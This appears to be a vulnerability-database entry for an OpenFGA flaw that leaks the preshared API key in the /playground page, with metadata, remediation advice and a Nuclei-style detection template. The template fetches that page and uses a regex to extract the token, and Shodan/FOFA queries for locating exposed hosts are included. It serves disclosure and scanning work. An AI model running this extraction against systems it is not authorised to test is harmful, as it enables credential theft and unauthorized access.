SecurityContext

CVE-2026-40293: OpenFGA <= 1.13.1 - Preshared API Key Disclosure

Classification

  • Cwe: CWE-200
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Epss score: 0.00292
  • Epss percentile: 0.22083
  • Cpe: cpe:2.3:a:openfga:openfga:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: header="openfga"
  • Max-request: 1
  • Product: openfga
  • Shodan-query: http.html:"openfga"
  • Vendor: openfga
  • Verified: yes

Products

ProductIndexedUrl
openfga:openfgayes/v1/products/openfga/openfga

Labels

  • Name: OpenFGA - Information Disclosure
  • Impact: Attackers can obtain the preshared API key, potentially allowing unauthorized access to the authorization engine.
  • Remediation: Upgrade to OpenFGA v1.14.0 or disable the playground by running `./openfga run --playground-enabled=false`.
  • Vulnerability type: information_disclosure
  • Vulnerability impact: information_disclosure
  • Requirements: Playground endpoint must be accessible beyond localhost or trusted networks with preshared-key authentication enabled
  • Labels source: projectdiscovery
  • From cve: CVE-2026-40293
  • Not known: requirement type

```yaml

id: CVE-2026-40293

info:

name: OpenFGA <= 1.13.1 - Preshared API Key Disclosure

author: s4e-io

severity: medium

description: |

OpenFGA 0.1.4 through 1.13.1 contains an information disclosure vulnerability caused by preshared API key exposure in the /playground HTML response when preshared-key authentication and playground are enabled, letting attackers access the API key if the playground endpoint is exposed beyond localhost, exploit requires playground endpoint accessible beyond localhost or trusted networks with preshared-key authentication enabled.

impact: |

Attackers can obtain the preshared API key, potentially allowing unauthorized access to the authorization engine.

remediation: |

Upgrade to OpenFGA v1.14.0 or disable the playground by running `./openfga run --playground-enabled=false`.

reference:

- https://github.com/openfga/openfga/security/advisories/GHSA-68m9-983m-f3v5

- https://github.com/openfga/openfga/commit/81373f28921554ab41232af10f762180d461a776

- https://github.com/openfga/openfga/releases/tag/v1.14.0

- https://nvd.nist.gov/vuln/detail/CVE-2026-40293

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

cvss-score: 6.5

cve-id: CVE-2026-40293

epss-score: 0.00292

epss-percentile: 0.22083

cwe-id: CWE-200

cpe: cpe:2.3:a:openfga:openfga:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: openfga

product: openfga

shodan-query: http.html:"openfga"

fofa-query: header="openfga"

tags: cve,cve2026,openfga,exposure,token,unauth

http:

- method: GET

path:

- "{{BaseURL}}/playground"

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(content_type, "text/html")'

- 'contains_all(body, "Embedded Playground", "play.fga.dev/sandbox/?fga_api_host=", "fga_api_scheme=")'

- 'regex("fga_api_token=[^\"&\\s]+", body)'

condition: and

extractors:

- type: regex

part: body

group: 1

regex:

- 'fga_api_token=([^"&\s]+)'

digest: 4a0a00473045022053b8b0c776dd6411c9d823ab7cb6632ed4dad2b9939d5a2766790e2668d0b881022100bc84cfa83f0ca75123a4e6c1ceb898beafdc036763980dfa496c860f6497a596:922c64590222798bb761d5b6d8e72950

```